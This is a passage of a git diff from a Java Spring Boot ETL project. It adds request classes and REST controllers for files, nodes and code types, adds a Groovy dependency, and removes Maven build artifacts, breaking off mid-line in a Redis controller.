import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import com.etl.database.common.entity.database.BaseMate;
@@ -38,6 +39,7 @@ public class Task extends BaseMate {
@ApiModelProperty(value = "任务权重")
private Integer weightId;
+ @TableField(exist = false)
@ApiModelProperty(value = "任务等级")
private Integer weightName;
@@ -46,5 +48,5 @@ public class Task extends BaseMate {
private Integer status;
@ApiModelProperty(value = "任务备注")
- private String explain;
+ private String explaina;
}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/DruidReq.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/DruidReq.java
index 9ad4177..56e929f 100644
--- a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/DruidReq.java
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/DruidReq.java
@@ -15,6 +15,9 @@ import javax.validation.constraints.NotBlank;
@NoArgsConstructor
@ToString
public class DruidReq {
+ @ApiModelProperty(value = "数据源id")
+ private Integer id;
+
@NotBlank(message = "数据库连接地址不能为空")
@ApiModelProperty(value = "地址")
private String url;
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/FileReq.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/FileReq.java
new file mode 100644
index 0000000..502b3f5
--- /dev/null
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/FileReq.java
@@ -0,0 +1,19 @@
+package com.etl.database.common.entity.req;
+
+import io.swagger.annotations.ApiModel;
+import io.swagger.annotations.ApiModelProperty;
+import lombok.Data;
+
+@Data
+@ApiModel("文件请求参数")
+public class FileReq {
+
+ @ApiModelProperty(value = "文件路径")
+ private String filePath;
+
+ @ApiModelProperty(value = "页数")
+ private Integer pageNum = 1;
+
+ @ApiModelProperty(value = "条数")
+ private Integer pageSize = 3;
+}
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSources.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSources.class
index da8ea5d..61e0b93 100644
Binary files a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSources.class and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSources.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/File.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/File.class
index 4e57d37..024e692 100644
Binary files a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/File.class and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/File.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Node.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Node.class
new file mode 100644
index 0000000..1af3fa3
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Node.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Rule.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Rule.class
index 94db5c2..04fc8f3 100644
Binary files a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Rule.class and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Rule.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/SelectField.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/SelectField.class
new file mode 100644
index 0000000..058ffd4
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/SelectField.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Task.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Task.class
index 4e3e7ac..1ea70f1 100644
Binary files a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Task.class and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/Task.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/DruidReq.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/DruidReq.class
index 126ddd5..e7efc58 100644
Binary files a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/DruidReq.class and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/DruidReq.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/FileReq.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/FileReq.class
new file mode 100644
index 0000000..97ecd6f
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/FileReq.class differ
diff --git a/etl-database/etl-database-common/target/etl-database-common-1.0-SNAPSHOT.jar b/etl-database/etl-database-common/target/etl-database-common-1.0-SNAPSHOT.jar
deleted file mode 100644
index b17f3a0..0000000
Binary files a/etl-database/etl-database-common/target/etl-database-common-1.0-SNAPSHOT.jar and /dev/null differ
diff --git a/etl-database/etl-database-common/target/maven-archiver/pom.properties b/etl-database/etl-database-common/target/maven-archiver/pom.properties
deleted file mode 100644
index 2e9fac8..0000000
--- a/etl-database/etl-database-common/target/maven-archiver/pom.properties
+++ /dev/null
@@ -1,5 +0,0 @@
-#Generated by Maven
-#Wed Jun 26 17:13:09 CST 2024
-version=1.0-SNAPSHOT
-groupId=com.bwie
-artifactId=etl-database-common
diff --git a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
deleted file mode 100644
index e73a2b6..0000000
--- a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
+++ /dev/null
@@ -1,10 +0,0 @@
-com\etl\database\common\entity\req\DruidReq.class
-com\etl\database\common\entity\resp\ColumnInfo.class
-com\etl\database\common\entity\req\DataSourceReq.class
-com\etl\database\common\annoation\Limit.class
-com\etl\database\common\entity\DataSources.class
-com\etl\database\common\entity\DataSourceType.class
-com\etl\database\common\entity\constants\DataSourceConstants.class
-com\etl\database\common\entity\DatabaseRedis.class
-com\etl\database\common\entity\database\BaseMate.class
-com\etl\database\ennum\LimitType.class
diff --git a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
deleted file mode 100644
index 21c4ea7..0000000
--- a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
+++ /dev/null
@@ -1,10 +0,0 @@
-D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\annoation\Limit.java
-D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\DataSources.java
-D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\resp\ColumnInfo.java
-D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\ennum\LimitType.java
-D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\DatabaseRedis.java
-D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\DataSourceType.java
-D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\req\DruidReq.java
-D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\req\DataSourceReq.java
-D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\constants\DataSourceConstants.java
-D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\database\BaseMate.java
diff --git a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst b/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst
deleted file mode 100644
index a5211fb..0000000
--- a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst
+++ /dev/null
@@ -1 +0,0 @@
-com\etl\database\common\EtlDatabaseCommonApplicationTests.class
diff --git a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst b/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst
deleted file mode 100644
index 2921f28..0000000
--- a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst
+++ /dev/null
@@ -1 +0,0 @@
-D:\workspace\ETL\etl-database\etl-database-common\src\test\java\com\etl\database\common\EtlDatabaseCommonApplicationTests.java
diff --git a/etl-database/etl-database-common/target/test-classes/com/etl/database/common/EtlDatabaseCommonApplicationTests.class b/etl-database/etl-database-common/target/test-classes/com/etl/database/common/EtlDatabaseCommonApplicationTests.class
deleted file mode 100644
index 5e10b3c..0000000
Binary files a/etl-database/etl-database-common/target/test-classes/com/etl/database/common/EtlDatabaseCommonApplicationTests.class and /dev/null differ
diff --git a/etl-auth/etl-auth.iml b/etl-database/etl-database-server/etl-database-server.iml
similarity index 100%
rename from etl-auth/etl-auth.iml
rename to etl-database/etl-database-server/etl-database-server.iml
diff --git a/etl-database/etl-database-server/pom.xml b/etl-database/etl-database-server/pom.xml
index da2272f..eaae8d8 100644
--- a/etl-database/etl-database-server/pom.xml
+++ b/etl-database/etl-database-server/pom.xml
@@ -15,6 +15,11 @@
2.6.13
+
+ org.codehaus.groovy
+ groovy-all
+ 2.4.7
+
io.springfox
springfox-swagger2
diff --git a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/CodeTypeController.java b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/CodeTypeController.java
new file mode 100644
index 0000000..a265322
--- /dev/null
+++ b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/CodeTypeController.java
@@ -0,0 +1,25 @@
+package com.etl.database.server.controller;
+
+import com.etl.common.result.Result;
+import com.etl.database.common.entity.CodeType;
+import com.etl.database.server.service.CodeTypeService;
+import io.swagger.annotations.Api;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.util.List;
+
+@RestController
+@RequestMapping(value = "/codeType")
+@Api(tags = "编码类型-API")
+public class CodeTypeController {
+ @Autowired
+ private CodeTypeService codeTypeervice;
+
+ @RequestMapping(value = "/findCodeType")
+ public Result findCodeType() {
+ List list = codeTypeervice.findCodeType();
+ return Result.success(list);
+ }
+}
diff --git a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/FileController.java b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/FileController.java
index b2be6b5..cd8b180 100644
--- a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/FileController.java
+++ b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/FileController.java
@@ -1,11 +1,15 @@
package com.etl.database.server.controller;
import com.etl.common.result.Result;
+import com.etl.database.common.entity.File;
+import com.etl.database.common.entity.req.FileReq;
import com.etl.database.server.service.FileService;
import io.swagger.annotations.Api;
+import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.bind.annotation.*;
+
+import java.util.List;
/**
* 文件控制层
@@ -16,10 +20,19 @@ import org.springframework.web.bind.annotation.RestController;
public class FileController {
@Autowired
private FileService fileService;
-
- @RequestMapping(value = "/createFile")
+
+ @RequestMapping(value = "/createFile",method = RequestMethod.POST)
+ @ApiOperation(value = "创建文件")
public Result createFile() {
- fileService.createFile();
- return Result.success();
+ String filePath =fileService.createFile();
+ return Result.success(filePath);
+ }
+
+
+ @RequestMapping(value ="/fileList",method = RequestMethod.POST)
+ @ApiOperation(value = "文件列表")
+ public Result fileList(@RequestBody FileReq fileReq) {
+ List fileList =fileService.fileList(fileReq);
+ return Result.success(fileList);
}
}
diff --git a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/NodeController.java b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/NodeController.java
new file mode 100644
index 0000000..018d0fb
--- /dev/null
+++ b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/NodeController.java
@@ -0,0 +1,28 @@
+package com.etl.database.server.controller;
+
+import com.etl.common.result.Result;
+import com.etl.database.common.entity.Node;
+import com.etl.database.server.service.NodeService;
+import io.swagger.annotations.Api;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.RequestBody;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * 节点控制层
+ */
+@RestController
+@RequestMapping(value = "/node")
+@Api(tags = "节点-API")
+public class NodeController {
+ @Autowired
+ private NodeService nodeService;
+
+ @RequestMapping(value = "/addNode",method = RequestMethod.POST)
+ public Result addNode(@RequestBody Node node){
+ nodeService.addNode(node);
+ return Result.success();
+ }
+}
diff --git a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/RedisController.java b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/RedisController.java
index 01bbc8b..9500670 100644
--- a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/RedisController.java
+++ b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/RedisController.java
@@ -19,16 +19,17 @@ import java.util.Map;
* redis控制层
*/
@RestController
-@RequestMapping(value ="/redis")
+@RequestMapping(value = "/redis")
@Api(tags = "数据源-redis")
public class RedisController {
@Autowired
private RedisService redisService;
+
@PostMapping("/testDatabaseRedis")
@ApiOperation(value = "测试redis连接")
@Limit(key = "testDatabaseRedis", permitsPerSecond = 1, timeout = 500, msg = "当前排队人数较多,请稍后再试!")
- public Result